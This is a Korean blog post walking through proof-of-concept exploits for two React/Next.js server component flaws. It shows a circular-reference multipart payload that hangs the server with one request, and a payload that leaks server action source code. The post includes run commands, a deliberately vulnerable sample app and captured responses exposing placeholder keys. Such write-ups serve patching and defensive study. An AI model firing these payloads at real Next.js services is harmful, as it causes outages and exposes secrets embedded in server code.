<div id="readability-page-1" class="page"><div>
                <div id="SE-cf055319-fbf5-458d-872a-e4f4112fabc5">
                                    <p id="SE-d8027b9e-e5f9-4db3-969e-545a1130971e"><span id="SE-6b6ecea5-d11b-4099-9344-0d347c9b17aa">안녕하세요. 멍개입니다.</span></p><p id="SE-0b58c435-62e1-4aec-abb2-9c4199df6dad"><span id="SE-8cf5383e-0749-45fa-b2ec-c1e2fe1d98cb">​</span></p><p id="SE-87642fa4-1fdc-451b-ae35-41fc27304ea9"><span id="SE-91c45557-9f02-4027-be68-333ae4e44ac0">최근에 엄청난 취약점을 소개했죠.... 그런데 말입니다.....</span></p><p id="SE-1b542ded-105e-4dea-839d-d35016fce6ab"><span id="SE-0c2f7728-ce60-4b6f-a329-08e29707f085">react / nextjs에서 또 취약점이 나왔습니다. 무려 두 가지 입니다.</span></p><p id="SE-721d06b2-6988-47ff-9e52-137ad1b1bbb9"><span id="SE-e2784e5f-3832-40e9-8d30-8ffccfbdf3d2">​</span></p><p id="SE-83477061-fb38-4dd3-bc9b-057c7727cee5"><span id="SE-298c33b0-b577-4f1c-9471-037c9a0ddf31">첫 번째는 dos를 유발하여 서비스 장애가 발생됩니다. (</span><span id="SE-90fe4a71-cc93-4943-aa97-4794550a4d4d">CVE-2025-55184 및 CVE-2025-67779)</span></p><p id="SE-dbbcc3d9-4261-48e1-a54b-5d8a8b85a68a"><span id="SE-475d5f94-c0a2-4b90-ac2c-45f39461b698">두 번째는 특정 조건을 가진 서버 액션 함수의 소스코드를 유출합니다. (</span><span id="SE-2da8ba23-0bd1-40df-a36d-089e9718735e">CEV-2025-55183 )</span></p><p id="SE-743a5be5-8871-48f3-9cbf-31a09d5cc10d"><span id="SE-fb193160-3877-427c-9e71-799af69d0466">​</span></p><p id="SE-332e5715-7adf-45d2-98ea-61cf01d9b0ec"><span id="SE-5fef4397-c730-4022-a9f2-bf21d6fa7101">일반적으로 dos는 사용자가 계속 트래픽을 가하는 방법인데 이번 취약점에서는 한 번의 요청으로 서비스 마비를 시킬 수 있습니다. 노드의 특성상 자바스크립트가 v8의 하나의 메인 쓰레드에서만 동작되기 때문입니다.</span></p><p id="SE-ca29441e-7aa1-4056-8811-eed78baf17c8"><span id="SE-bb9d5a6b-0186-4eb1-a66f-dfc8cd50a7b3">​</span></p><p id="SE-2a51b6b7-444e-4166-9381-2c90353d62eb"><span id="SE-dcaf1401-0e1f-4cdf-a508-04d8b3a07c40"><b>· 취약한 환경 구성</b></span></p>
                            </div>                <div id="SE-b38689c8-d044-456b-9c23-f24f37261d85">
                                    <p>$ git clone https://github.com/pjt3591oo/2025-55184_2025-55183-_poc</p>
                                </div>                <div id="SE-f15566bf-51ba-4bdb-bfd5-4b9b70ab6849">
                                    <p>$ cd culnerable-rsc-app
$ npm i
$ npm dev</p>
                                </div>                <div id="SE-d0cffe91-2dd2-4f9f-8d28-5293aa2ed805">
                            <p id="SE-9f1ba8ac-0a8b-4ae2-a4ee-18d216a06b88"><span id="SE-529b7fe7-9477-4b9b-a1b4-9e0e29f60d9b"><b>· </b></span><span id="SE-19a702fe-3bdd-4056-9b8c-0d9c78acc4f1"><b>CVE-2025-55184 및 CVE-2025-67779</b></span></p>
                        </div>                <div id="SE-708f9eab-ea64-48c4-97e6-dd99a2d899d9">
                                    <p>$ node dos_exploit.sh [next 서비스 URL]</p>
                                </div>                <div id="SE-9c5e9542-185b-4847-ba12-bb1517291921">
                                    <p>$ node dos_exploit.sh http://localhost:3000</p>
                                </div>                <div id="SE-722f2c14-5c43-4618-94b7-d258266cfc1a">
                            <p id="SE-53c8e107-8e61-4a25-af4e-0b8411903380"><span id="SE-d6886abc-9518-49f1-9f84-7c51346558f5">해당 익스플로잇이 정상적으로 실행되었다면 응답이 오지않고 대기 상태에 빠집니다. 그 이유는 페이로드가 next 서버에게 끝나지 않는 연산이기 때문입니다.</span></p>
                        </div>                <div id="SE-fa6c6b41-58c7-4082-b3ab-9e6d3f3985d7">
                                    <p>PAYLOAD=$(cat &lt;&lt;EOF
------CircularRef\r
Content-Disposition: form-data; name="0"\r
\r
"\$@1"\r
------CircularRef\r
Content-Disposition: form-data; name="1"\r
\r
"\$@0"\r
------CircularRef--\r
EOF
)
</p>
                                </div>                <div id="SE-0dd2aa9c-cf3c-4ac1-81c7-731a532b286e">
                                    <p id="SE-1720451c-d24f-4068-8de1-c2e5c83289e9"><span id="SE-0a5c0b96-6efa-4447-8c88-34d9e1cf4667">해당 페이로드는 0 번째 인자로 $@1을 참조하라고 되어있고, 1 번째 인자로 $@0을 참조하라고 되어있습니다.</span></p><p id="SE-ed073a98-7dd5-482a-8f68-1c9d8f0af197"><span id="SE-123b913f-e44c-46f9-a718-3cb72ad51cf7">​</span></p><p id="SE-8c24b852-bcbf-4068-897b-1000561fc1d4"><span id="SE-07ba9691-ff0c-4af4-a73a-e6d05ebb84c0">즉 0번째 인자는 1번째를 참조하고, 1번째 인자는 0번째를 참조합니다. 즉, 순환이 일어나고 여기서 next의 메인 쓰레드에서 끝나지 연산이 수행됩니다.</span></p><p id="SE-3a6fa558-66ec-4296-93b8-ca0a7be7b8b5"><span id="SE-b1cb8c6e-c687-4313-a04b-634c53c15576"><b>​</b></span></p><p id="SE-6a3b255f-d719-4961-b292-70979258d54d"><span id="SE-bef4a46e-4544-4673-8b1d-e0930009fa9e"><b>·</b></span><span id="SE-ff7a5f78-3dc2-47b7-b962-cce52bafc948"><b> CEV-2025-55183</b></span></p><p id="SE-89accf1d-a557-4108-a7a8-506e772f8bf7"><span id="SE-b40e564d-8232-490f-928a-12eafbb3d2fb">두 번째 취약점은 서버 액션의 코드가 유출되는 취약점입니다. 해당 취약점은 먼저 서버 액션의 ID값이 필요합니다.</span></p><p id="SE-191bd5ed-2a56-477c-90d5-cbfc81da8b9e"><span id="SE-f73728bc-08cb-4537-aa82-7955e901d425">​</span></p><p id="SE-e3e516f4-77bb-4626-9073-357f3b808129"><span id="SE-34055ab8-1790-4254-93c3-c25894626661">서버 액션의 아이디를 찾는 방법은 지난번 React2Shell 취약점때 소개했는데 다음 글을 참고해주세요.</span></p><p id="SE-1a124c85-e540-4ded-9373-bdf68a931521"><span id="SE-712328d5-b0c3-45c0-9916-7edbe191cb9d"><a href="https://blog.naver.com/pjt3591oo/224101137174" data-linktype="text" data-linkdata="{&quot;id&quot;: &quot;SE-712328d5-b0c3-45c0-9916-7edbe191cb9d&quot;, &quot;link&quot;: &quot;https://blog.naver.com/pjt3591oo/224101137174&quot;}" target="_blank">https://blog.naver.com/pjt3591oo/224101137174</a></span></p>
                            </div>                
                <div id="SE-89ba9fb5-aa58-4da7-b97d-d215233df6c2">
                                    <p>$ ./code_exposure_exploit.sh [서버 액션 ID] [next 서비스 URL]</p>
                                </div>                <div id="SE-24eb2860-5d21-453f-ae95-1ca25aa3797b">
                            <p id="SE-c4f0854f-7929-44d6-8937-b6a14b85d1d4"><span id="SE-2989ac00-ea54-4c63-a39f-b28b3d4e879e">서버 액션은 브라우저 개발자 도구에서 네트워크 탭에서 확인한 서버 액션 ID를 넣어주빈다.</span></p>
                        </div>                <div id="SE-5b4062e8-a6ed-4877-8c8c-234381e4d5d3">
                                    <p>$ ./code_exposure_exploit.sh 40098df064ef364432342a55bb152e6674bb022ca8 http://localhost:3000</p>
                                </div>                                <div id="SE-e460c1c1-7d61-4b90-8361-51764a739c17">
                                    <p>[*] Target: http://localhost:3000
[*] Action ID: 40098df064ef364432342a55bb152e6674bb022ca8

HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
Cache-Control: no-store, must-revalidate
x-action-revalidated: [[],0,0]
X-Powered-By: Next.js
Content-Type: text/x-component
Date: Mon, 15 Dec 2025 10:49:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

0:{"a":"$@1","f":"","b":"development"}
1:{"id":"user_71ydnl","message":"Hello, async function vulnerableServerFunction(name) {\n    console.log('name');\n    console.log(name);\n    const conn = db.createConnection('SUPER_SECRET_API_KEY_12345');\n    const user = await conn.createUser(name);\n    return {\n        id: user.id,\n        message: `Hello, ${name}!`\n    };\n}!"}</p>
                                </div>                <div id="SE-c30dbff1-c45f-467f-86b2-4f680d0ba2e3">
                            <p id="SE-1aec4431-7ac9-4381-aff2-a9dfa075b3a0"><span id="SE-540a4c3b-9aee-4331-9d02-8d7e735d30b0">하지만 해당 취약점은 모든 서버 액션의 코드를 반환 결과에 포함하지 않습니다. anotherServerAction 함수의 경우는 전달된 인자를 toString() 또는 `${data}` 와 같이 문자열 템플릿을 이용하여 return에 포함시키지 않았기 때문입니다. </span></p>
                        </div>                <div id="SE-f38e8a6f-c9d8-4e51-bc6f-d05f4a8168e5">
                                    <p>export async function vulnerableServerFunction(name: string) {
  console.log('name')
  console.log(name)
  const conn = db.createConnection('SUPER_SECRET_API_KEY_12345')
  const user = await conn.createUser(name)

  return {
    id: user.id,
    message: `Hello, ${name}!`,
  }
}


// 전달된 인자를 toString과 같이 문자열로 바꾼 후 return에 포함시키지 않는다면 CVE-2025-55183 취약점 트리거가 되지 않음
// 인자로 함수 자체를 넘겨서 string으로 변환 후 return할 때 함수 내용을 넣는 공격
export async function anotherServerAction(data: string) {
  console.log('Received data:', data)
  return { success: true, received: data }
}

export async function processPayment(amount: number, cardNumber: string) {
  const STRIPE_SECRET_KEY = 'sk_live_XXXXXXXXXXXXXXXXXXXXXXXX'
  const WEBHOOK_SECRET = 'whsec_YYYYYYYYYYYYYYYYYYYY'

  console.log('Processing payment with keys:', STRIPE_SECRET_KEY, WEBHOOK_SECRET)

  return {
    status: 'processed',
    amount,
    confirmation: `Payment of $${amount} processed`,
  }
}
</p>
                                </div>                <div id="SE-1721fdbd-7283-4c93-8db0-0f4d63d28749">
                            <p id="SE-d80e12a1-6393-4a3c-9c06-547bf0872e23"><span id="SE-b9243564-c16f-484c-9527-1e608e678c81">해당 익스플로잇 페이로드를 살펴보면 서버 액션 함수의 인자로 $F1을 전달하게 되는데 이는 서버 액션 함수를 의미합니다. 그렇기 떄문에 호출된 서버 액션은 본인의 함수 오브젝트를 인자로 받고 해당 인자에 대해 문자열로 취급을 해버리기 때문에 함수 내용이 응답 데이터에 그대로 노출이 됩니다.</span></p>
                        </div>                <div id="SE-61539d15-4d0c-4589-8d79-f930c7a189cd">
                                    <p>------SourceLeak\r
Content-Disposition: form-data; name="1"\r
\r
{"id":"${ACTION_ID}","bound":null}\r
------SourceLeak\r
Content-Disposition: form-data; name="0"\r
\r
["\$F1"]\r
------SourceLeak--\r
EOF</p>
                                </div>                <div id="SE-06d27f27-865c-4a3a-b968-b4bc21aa3f4a">
                                <p><a href="#" onclick="return false;" data-linktype="img" data-linkdata="{&quot;id&quot; : &quot;SE-06d27f27-865c-4a3a-b968-b4bc21aa3f4a&quot;, &quot;src&quot; : &quot;https://mblogthumb-phinf.pstatic.net/MjAyNTEyMTVfMTgg/MDAxNzY1Nzk3MzU0OTU3.KWadd0_yEGq1IZx9x3wNkLaNthaH5zvPC-_EsCG30zYg.KMRM8y6RNpTES1KiQOsKzpqgTtk4bAyOsSkeVmCEIAYg.PNG/%EC%8A%A4%ED%81%AC%EB%A6%B0%EC%83%B7_2025-12-15_20.15.51.png&quot;, &quot;originalWidth&quot; : &quot;532&quot;, &quot;originalHeight&quot; : &quot;380&quot;, &quot;linkUse&quot; : &quot;false&quot;, &quot;link&quot; : &quot;&quot;, &quot;fileSize&quot;: &quot;54201&quot; }">
                                        <img src="https://mblogthumb-phinf.pstatic.net/MjAyNTEyMTVfMTgg/MDAxNzY1Nzk3MzU0OTU3.KWadd0_yEGq1IZx9x3wNkLaNthaH5zvPC-_EsCG30zYg.KMRM8y6RNpTES1KiQOsKzpqgTtk4bAyOsSkeVmCEIAYg.PNG/%EC%8A%A4%ED%81%AC%EB%A6%B0%EC%83%B7_2025-12-15_20.15.51.png?type=w800" data-width="532" data-height="380" alt="">
                                    </a>
                                </p>
                        </div>
                    </div></div>

삽질하는 멍개씨

안녕하세요. 멍개입니다. 최근에 엄청난 취약점을 소개했죠.... 그런데 말입니다..... react / nextjs에서 또 취약점이 나왔습니다. 무려 두 가지 입니다. 첫 번째는 dos를 유발하여 서비스 장애가 발생됩니다. (CVE-2025-55184 및 CVE-2025-67779) 두 번째는 특정 조건을 가진 서버 액션 함수의 소스코드를 유출합니다. (CEV-2025-55183 ) 일반적으로 dos는 사용자가 계속 트래픽을 가하는 방법인데 이번 취약점에서는 한 번의 요청으로 서비스 마비를 시킬 수 있습니다. 노드의 특성상 자바스크립트가 v8의 하나의 메인 쓰레드에서만 동작되기 때문입니다. · 취약한 환경 구성 · CVE-2025-55184 및 CVE-2025-67779 해당 익스플로잇이 정상적으.......

react/next 비상: dos와 코드 유출 취약점 CVE-2025-55184 및 CVE-2025-67779와 2025-55183

댓글